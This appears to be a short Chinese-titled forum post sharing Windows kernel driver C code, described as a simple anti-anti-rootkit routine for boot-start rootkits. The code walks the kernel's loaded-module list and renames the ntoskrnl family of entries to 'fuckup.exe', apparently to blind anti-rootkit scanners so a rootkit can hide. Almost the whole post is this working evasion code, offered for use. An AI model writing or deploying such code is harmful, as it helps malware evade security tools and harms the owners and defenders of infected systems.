Break Kernel主要的代码——Boot=3的rootkit专用的简单anti anti rootkit

typedef struct _LDR_DATA_TABLE_ENTRY
{
    LIST_ENTRY    LoadOrder;
    LIST_ENTRY    MemoryOrder;
    LIST_ENTRY    InitOrder;
    PVOID          ModuleBaseAddress;
    PVOID          EntryPoint;
    ULONG          ModuleSize;
    UNICODE_STRING FullModuleName;
    UNICODE_STRING ModuleName;
    ULONG          Flags;
    USHORT        LoadCount;
    USHORT        TlsIndex;
    union {
        LIST_ENTRY Hash;
        struct {
            PVOID SectionPointer;
            ULONG CheckSum;
        };
    };
    ULONG TimeStamp;
} LDR_DATA_TABLE_ENTRY,
*PLDR_DATA_TABLE_ENTRY;
void BreakKrnl(PDRIVER_OBJECT pDrvObject)
{
PLDR_DATA_TABLE_ENTRY pModuleEntry = (PLDR_DATA_TABLE_ENTRY)pDrvObject->DriverSection;
    PLDR_DATA_TABLE_ENTRY pEntry = (PLDR_DATA_TABLE_ENTRY)pModuleEntry->LoadOrder.Flink;
    UNICODE_STRING fuckkrnl;
RtlInitUnicodeString(&fuckkrnl, L"fuckup.exe");

    while (pModuleEntry != pEntry)
    {
        if (pEntry->ModuleName.Buffer)
        {
            if (!wcscmp(pEntry->ModuleName.Buffer, L"ntkrnlmp.exe")||!wcscmp(pEntry->ModuleName.Buffer, L"ntkrpamp.exe")||!wcscmp(pEntry->ModuleName.Buffer, L"ntoskrnl.exe")||!wcscmp(pEntry->ModuleName.Buffer, L"ntkrnlpa.exe"))
            {

                memcpy(&pEntry->FullModuleName, &fuckkrnl, sizeof(UNICODE_STRING));
                memcpy(&pEntry->ModuleName,&fuckkrnl,sizeof(UNICODE_STRING));
                break;
            }
        }
        pEntry = (PLDR_DATA_TABLE_ENTRY)pEntry->LoadOrder.Flink;
    }
}